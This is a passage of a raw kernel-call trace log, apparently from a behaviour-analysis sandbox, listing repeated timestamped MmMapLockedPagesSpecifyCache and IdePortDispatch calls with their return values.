CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003483000 [0083.847] IdePortDispatch () returned 0x103 [0083.849] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880034a9000 [0083.849] IdePortDispatch () returned 0x103 [0083.849] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880034b1000 [0083.849] IdePortDispatch () returned 0x103 [0083.850] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880034b5000 [0083.851] IdePortDispatch () returned 0x103 [0083.851] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880034bd000 [0083.851] IdePortDispatch () returned 0x103 [0083.852] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880034c5000 [0083.852] IdePortDispatch () returned 0x103 [0083.853] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880034c9000 [0083.853] IdePortDispatch () returned 0x103 [0083.855] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880034ee000 [0083.855] IdePortDispatch () returned 0x103 [0083.856] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880034f2000 [0083.856] IdePortDispatch () returned 0x103 [0083.857] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003518000 [0083.857] IdePortDispatch () returned 0x103 [0083.859] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff8800353d000 [0083.859] IdePortDispatch () returned 0x103 [0083.860] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003543000 [0083.860] IdePortDispatch () returned 0x103 [0083.861] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003548000 [0083.861] IdePortDispatch () returned 0x103 [0083.862] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff8800354f000 [0083.862] IdePortDispatch () returned 0x103 [0083.864] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003573000 [0083.864] IdePortDispatch () returned 0x103 [0083.879] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002d60000 [0083.879] IdePortDispatch () returned 0x103 [0083.880] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002d74000 [0083.880] IdePortDispatch () returned 0x103 [0083.883] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002daa000 [0083.883] IdePortDispatch () returned 0x103 [0083.884] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002dac000 [0083.884] IdePortDispatch () returned 0x103 [0083.885] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002def000 [0083.885] IdePortDispatch () returned 0x103 [0083.886] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002df2000 [0083.886] IdePortDispatch () returned 0x103 [0083.886] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002df5000 [0083.887] IdePortDispatch () returned 0x103 [0083.887] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002dfa000 [0083.887] IdePortDispatch () returned 0x103 [0083.888] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002dfd000 [0083.888] IdePortDispatch () returned 0x103 [0083.889] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003429000 [0083.889] IdePortDispatch () returned 0x103 [0083.893] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880034a2000 [0083.893] IdePortDispatch () returned 0x103 [0083.894] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880034a6000 [0083.894] IdePortDispatch () returned 0x103 [0083.895] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880034ab000 [0083.895] IdePortDispatch () returned 0x103 [0083.899] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880034bf000 [0083.899] IdePortDispatch () returned 0x103 [0083.900] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880034c3000 [0083.900] IdePortDispatch () returned 0x103 [0083.901] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880034c8000 [0083.901] IdePortDispatch () returned 0x103 [0083.902] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880034cd000 [0083.902] IdePortDispatch () returned 0x103 [0083.903] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880034d0000 [0083.903] IdePortDispatch () returned 0x103 [0083.905] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003536000 [0083.905] IdePortDispatch () returned 0x103 [0083.920] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002d31000 [0083.920] IdePortDispatch () returned 0x103 [0083.921] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002d56000 [0083.921] IdePortDispatch () returned 0x103 [0083.923] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002d8a000 [0083.923] IdePortDispatch () returned 0x103 [0083.925] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002ddf000 [0083.925] IdePortDispatch () returned 0x103 [0083.926] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002df2000 [0083.926] IdePortDispatch () returned 0x103 [0083.927] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003410000 [0083.927] IdePortDispatch () returned 0x103 [0083.928] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003418000 [0083.928] IdePortDispatch () returned 0x103 [0083.930] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003420000 [0083.930] IdePortDispatch () returned 0x103 [0083.932] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003427000 [0083.932] IdePortDispatch () returned 0x103 [0083.932] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003450000 [0083.932] IdePortDispatch () returned 0x103 [0083.933] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003458000 [0083.933] IdePortDispatch () returned 0x103 [0083.935] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003480000 [0083.935] IdePortDispatch () returned 0x103 [0083.952] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002d70000 [0083.952] IdePortDispatch () returned 0x103 [0083.954] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002da4000 [0083.954] IdePortDispatch () returned 0x103 [0083.956] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002da7000 [0083.956] IdePortDispatch () returned 0x103 [0083.965] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880035b0000 [0083.965] IdePortDispatch () returned 0x103 [0083.966] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880035c3000 [0083.966] IdePortDispatch () returned 0x103 [0083.967] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880035c6000 [0083.967] IdePortDispatch () returned 0x103 [0083.968] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880035c9000 [0083.968] IdePortDispatch () returned 0x103 [0083.970] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880035ed000 [0083.970] IdePortDispatch () returned 0x103 [0083.971] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000b15000 [0083.971] IdePortDispatch () returned 0x103 [0083.972] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000b18000 [0083.972] IdePortDispatch () returned 0x103 [0083.973] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000b1c000 [0083.973] IdePortDispatch () returned 0x103 [0083.974] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000b20000 [0083.974] IdePortDispatch () returned 0x103 [0083.975] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000b28000 [0083.975] IdePortDispatch () returned 0x103 [0083.976] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000b30000 [0083.976] IdePortDispatch () returned 0x103 [0083.978] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000b31000 [0083.978] IdePortDispatch () returned 0x103 [0083.978] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000b33000 [0083.979] IdePortDispatch () returned 0x103 [0083.980] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000b36000 [0083.980] IdePortDispatch () returned 0x103 [0083.981] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000b7a000 [0083.981] IdePortDispatch () returned 0x103 [0083.982] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000b7c000 [0083.982] IdePortDispatch () returned 0x103 [0083.983] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000b7e000 [0083.983] IdePortDispatch () returned 0x103 [0083.984] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000b81000 [0083.984] IdePortDispatch () returned 0x103 [0083.985] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000b94000 [0083.985] IdePortDispatch () returned 0x103 [0083.986] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000b97000 [0083.986] IdePortDispatch () returned 0x103 [0083.987] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000b9a000 [0083.987] IdePortDispatch () returned 0x103 [0083.988] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000b9d000 [0083.988] IdePortDispatch () returned 0x103 [0083.990] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000bda000 [0083.990] IdePortDispatch () returned 0x103 [0083.992] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000bdd000 [0083.992] IdePortDispatch () returned 0x103 [0083.993] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000bf0000 [0083.993] IdePortDispatch () returned 0x103 [0083.995] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000bf3000 [0083.995] IdePortDispatch () returned 0x103 [0083.996] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000bf6000 [0083.996] IdePortDispatch () returned 0x103 [0083.998] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000bfa000 [0083.998] IdePortDispatch () returned 0x103 [0083.999] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002c10000 [0083.999] IdePortDispatch () returned 0x103 [0084.001] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002c14000 [0084.001] IdePortDispatch () returned 0x103 [0084.002] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002c18000 [0084.002] IdePortDispatch () returned 0x103 [0084.003] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002c3f000 [0084.003] IdePortDispatch () returned 0x103 [0084.005] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002c46000 [0084.005] IdePortDispatch () returned 0x103 [0084.006] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002c4c000 [0084.006] IdePortDispatch () returned 0x103 [0084.007] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002c52000 [0084.007] IdePortDispatch () returned 0x103 [0084.007] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002c5a000 [0084.007] IdePortDispatch () returned 0x103 [0084.008] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002c61000 [0084.009] IdePortDispatch () returned 0x103 [0084.009] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002c69000 [0084.009] IdePortDispatch () returned 0x103 [0084.010] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002c71000 [0084.010] IdePortDispatch () returned 0x103 [0084.012] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002c95000 [0084.012] IdePortDispatch () returned 0x103 [0084.013] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002c98000 [0084.013] IdePortDispatch () returned 0x103 [0084.014] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002cbc000 [0084.014] IdePortDispatch () returned 0x103 [0084.015] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002cbf000 [0084.015] IdePortDispatch () returned 0x103 [0084.017] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002ce3000 [0084.017] IdePortDispatch () returned 0x103 [0084.018] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002ce6000 [0084.018] IdePortDispatch () returned 0x103 [0084.019] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002ce9000 [0084.019] IdePortDispatch () returned 0x103 [0084.020] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002cec000 [0084.020] IdePortDispatch () returned 0x103 [0084.021] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002d11000 [0084.021] IdePortDispatch () returned 0x103 [0084.023] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002d15000 [0084.023] IdePortDispatch () returned 0x103 [0084.024] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002d3a000 [0084.024] IdePortDispatch () returned 0x103 [0084.035] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002d30000 [0084.035] IdePortDispatch () returned 0x103 [0084.036] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002d33000 [0084.036] IdePortDispatch () returned 0x103 [0084.037] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002d4f000 [0084.037] IdePortDispatch () returned 0x103 [0084.039] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002d53000 [0084.039] IdePortDispatch () returned 0x103 [0084.040] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002d59000 [0084.040] IdePortDispatch () returned 0x103 [0084.041] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002d5c000 [0084.041] IdePortDispatch () returned 0x103 [0084.050] MmMapLockedPagesSpecifyCache 